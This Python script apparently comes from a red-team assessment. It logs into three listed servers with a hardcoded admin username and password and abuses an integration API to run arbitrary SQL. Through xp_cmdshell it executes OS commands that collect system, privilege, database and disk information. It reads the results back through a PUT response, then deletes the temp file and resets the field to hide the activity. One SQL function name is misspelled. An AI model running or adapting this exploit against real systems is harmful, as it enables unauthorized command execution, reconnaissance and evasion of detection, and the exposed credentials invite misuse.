#!/usr/bin/env python3
"""v33: Get sysinfo back via SQL UPDATE → PUT response.
1. xp_cmdshell writes sysinfo to C:\Windows\Temp (writable by SQL service)
2. SQL UPDATE stores sysinfo in strSQL field of step 4
3. PUT (no-op, only intStepId in ModifiedFields) → response returns strSQL with sysinfo
4. Read sysinfo from PUT response
5. Restore strSQL to null
6. Cleanup temp file"""
import asyncio, json, re, time, os
from playwright.async_api import async_playwright

SERVERS = [
    ("198.71.63.125", "CITYMARTUAPSINGLE"),
    ("216.250.118.44", "RTROGERSMBIL"),
    ("74.208.83.171", "RTROGERSUAP1"),
]

async def run_on_server(ip, app, browser):
    context = await browser.new_context()
    page = await context.new_page()
    result = {"ip": ip, "app": app, "steps": {}, "sysinfo": None}
    step_id = 4

    try:
        # Login
        await page.goto(f"http://{ip}/{app}/login", wait_until="domcontentloaded", timeout=15000)
        await asyncio.sleep(2)
        await page.fill('input[name="Email"]', 'irelyadmin')
        await page.fill('input[name="Password"]', 'i21By2015')
        await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
        await asyncio.sleep(1)
        await page.evaluate('document.querySelector("form").submit()')
        await asyncio.sleep(12)
        try: await page.wait_for_load_state("networkidle", timeout=15000)
        except: pass
        if "login" in page.url.lower() and "#home" not in page.url:
            result["status"] = "login_failed"
            return result

        async def run_sql(name, sql_text, step_type=1):
            """Execute SQL via Integration API."""
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strStepName:"Test", intStepTypeId:''' + str(step_type) + ''', intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}", None
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: ''' + str(step_id) + '''}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            print(f"    {name}: success={s} msg={m[:80]}", flush=True)
            # Restore step to null
            await page.evaluate('''async () => {
                await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s, m

        async def put_noop():
            """PUT with only intStepId in ModifiedFields — returns DB state of step."""
            put_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:''' + str(step_id) + ''', intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            return put_r

        # Step 1: Write sysinfo to temp file (C:\Windows\Temp — always writable)
        print(f"  Step 1: Collect sysinfo to temp file...", flush=True)
        sql_collect = (
            "EXEC xp_cmdshell '"
            "systeminfo > C:\\\\Windows\\\\Temp\\\\sysinfo.txt"
            " & whoami >> C:\\\\Windows\\\\Temp\\\\sysinfo.txt"
            " & echo. >> C:\\\\Windows\\\\Temp\\\\sysinfo.txt"
            " & echo ===SQLROLE=== >> C:\\\\Windows\\\\Temp\\\\sysinfo.txt"
            " & sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa, @@servername, @@version\" -W -h -1 >> C:\\\\Windows\\\\Temp\\\\sysinfo.txt"
            " & echo. >> C:\\\\Windows\\\\Temp\\\\sysinfo.txt"
            " & echo ===DATABASES=== >> C:\\\\Windows\\\\Temp\\\\sysinfo.txt"
            " & sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> C:\\\\Windows\\\\Temp\\\\sysinfo.txt"
            " & echo. >> C:\\\\Windows\\\\Temp\\\\sysinfo.txt"
            " & echo ===DISK=== >> C:\\\\Windows\\\\Temp\\\\sysinfo.txt"
            " & wmic logicaldisk get caption,freespace,size >> C:\\\\Windows\\\\Temp\\\\sysinfo.txt"
            "', no_output"
        )
        s1, _ = await run_sql("collect", sql_collect)
        result["steps"]["collect"] = s1
        await asyncio.sleep(1)

        # Step 2: Store sysinfo in strSQL via xp_cmdshell + sqlcmd
        # sqlcmd connects to local SQL with trusted auth — has access to Integration DB
        print(f"  Step 2: Store sysinfo in strSQL via sqlcmd...", flush=True)
        sql_store = "EXEC xp_cmdshell 'sqlcmd -Q \"DECLARE @c NVARCHAR(MAX); SELECT @c = BulkColumn FROM OPENROWSET(BULK ''C:\\\\Windows\\\\Temp\\\\sysinfo.txt'', SINGLE_CLOB) AS t; UPDATE tblIPStep SET strSQL = @c WHERE intStepId = " + str(step_id) + "\" -W -h -1', no_output"
        s2, _ = await run_sql("store", sql_store)
        result["steps"]["store"] = s2
        await asyncio.sleep(1)

        # Step 3: PUT with strSQL in ModifiedFields → server reads DB and returns it
        print(f"  Step 3: PUT to read strSQL from DB...", flush=True)
        put_r = await page.evaluate('''async () => {
            const resp = await fetch('/''' + app + '''/integration/api/step/put/''' + str(step_id) + '''?continueOnConflict=true', {
                method: 'PUT',
                headers: {'Content-Type': 'application/json'},
                body: JSON.stringify([{intStepId:''' + str(step_id) + ''', strSQL:null, intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepId","intConcurrencyId","strRowState"]}]),
                credentials: 'include'
            });
            const text = await resp.text();
            return {status: resp.status, body: text};
        }''')
        put_body = put_r.get('body', '')
        put_status = put_r.get('status', 0)
        print(f"    PUT: HTTP {put_status}", flush=True)
        with open(f"/tmp/put_response_{ip}_{app}.txt", "w") as f:
            f.write(put_body[:10000])
        
        try:
            put_data = json.loads(put_body)
            data_field = put_data.get('data')
            if data_field is None:
                print(f"    data is null", flush=True)
            elif isinstance(data_field, list):
                step_data = data_field[0] if data_field else {}
            elif isinstance(data_field, dict):
                step_data = data_field
            else:
                step_data = {}
            
            strSQL_value = step_data.get('strSQL', '')
            if strSQL_value and len(strSQL_value) > 50:
                result["sysinfo"] = strSQL_value
                print(f"    GOT sysinfo! Length: {len(strSQL_value)} chars", flush=True)
                print(f"    First 200: {strSQL_value[:200]}", flush=True)
            else:
                print(f"    strSQL empty or short: '{str(strSQL_value)[:50]}'", flush=True)
        except Exception as e:
            print(f"    Parse error: {e}", flush=True)
            sql_match = re.search(r'"strSQL"\s*:\s*"((?:[^"\\]|\\.)*)"', put_body)
            if sql_match:
                result["sysinfo"] = sql_match.group(1)
                print(f"    GOT sysinfo via regex! Length: {len(result['sysinfo'])}", flush=True)

        # Step 4: Restore strSQL to null via T-SQL
        print(f"  Step 4: Restore strSQL...", flush=True)
        s4, _ = await run_sql("restore", "EXEC xp_cmdshell 'sqlcmd -Q \"UPDATE tblIPStep SET strSQL = NULL WHERE intStepId = " + str(step_id) + "\" -W -h -1', no_output")
        result["steps"]["restore"] = s4
        await asyncio.sleep(1)

        # Step 5: Cleanup temp file
        print(f"  Step 5: Cleanup...", flush=True)
        s5, _ = await run_sql("cleanup", "EXEC xp_cmdshell 'del C:\\\\Windows\\\\Temp\\\\sysinfo.txt', no_output")
        result["steps"]["cleanup"] = s5

        all_ok = all(v == "true" for v in result["steps"].values()) and result["sysinfo"] is not None
        result["status"] = "all_success" if all_ok else "partial"

    except Exception as e:
        result["status"] = "error: " + str(e)[:80]
    finally:
        await context.close()

    return result

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)

        print(f"=== Collecting sysinfo via SQL UPDATE → PUT response ({len(SERVERS)} servers) ===\n")
        results = []

        for ip, app in SERVERS:
            print(f"\n  {ip}/{app}:")
            r = await run_on_server(ip, app, browser)
            results.append(r)
            steps_ok = sum(1 for v in r.get("steps", {}).values() if v == "true")
            has_sysinfo = r.get("sysinfo") is not None
            marker = "✅" if r.get("status") == "all_success" else "⚠️" if steps_ok > 0 or has_sysinfo else "❌"
            sysinfo_len = len(r.get("sysinfo", "")) if r.get("sysinfo") else 0
            print(f"  {marker} {r['ip']}/{r['app']} → {r.get('status','?')} (sysinfo: {sysinfo_len} chars)")
            time.sleep(3)

        await browser.close()

        # Save sysinfo to files
        print(f"\n{'='*80}")
        print(f"\n=== SAVING SYSINFO ===")
        for r in results:
            sysinfo = r.get("sysinfo")
            if sysinfo:
                ip = r["ip"]
                app = r["app"]
                # Unescape JSON string
                sysinfo_clean = sysinfo.replace("\\r\\n", "\n").replace("\\n", "\n").replace('\\"', '"').replace("\\\\", "\\")
                local_path = f"/root/ir-assessment/redteam/irelydata/schema_inventory/sysinfo_{ip}_{app}.txt"
                with open(local_path, "w") as f:
                    f.write(sysinfo_clean)
                print(f"  ✅ {ip}/{app}: {len(sysinfo_clean)} chars → {local_path}")
                # Print first 15 lines
                lines = sysinfo_clean.split("\n")[:15]
                for line in lines:
                    print(f"    {line[:80]}")
                print(f"    ...")
            else:
                print(f"  ❌ {r['ip']}/{r['app']}: no sysinfo")

        # Summary
        print(f"\n=== SUMMARY ===")
        ok_count = sum(1 for r in results if r.get("status") == "all_success")
        has_data = sum(1 for r in results if r.get("sysinfo"))
        print(f"✅ All steps: {ok_count}/{len(results)}")
        print(f"✅ Got sysinfo: {has_data}/{len(results)}")
        for r in results:
            marker = "✅" if r.get("sysinfo") else "❌"
            sysinfo_len = len(r.get("sysinfo", "")) if r.get("sysinfo") else 0
            print(f"  {marker} {r['ip']:20s} {r['app']:25s} sysinfo={sysinfo_len} chars → {r.get('status','?')}")

        with open("/root/ir-assessment/redteam/irelydata/schema_inventory/sysinfo_collected.json", "w") as f:
            # Save without sysinfo content (too large for JSON)
            summary = [{k: v for k, v in r.items() if k != "sysinfo"} for r in results]
            json.dump(summary, f, indent=2)
        print(f"\nSaved to sysinfo_collected.json")

asyncio.run(main())
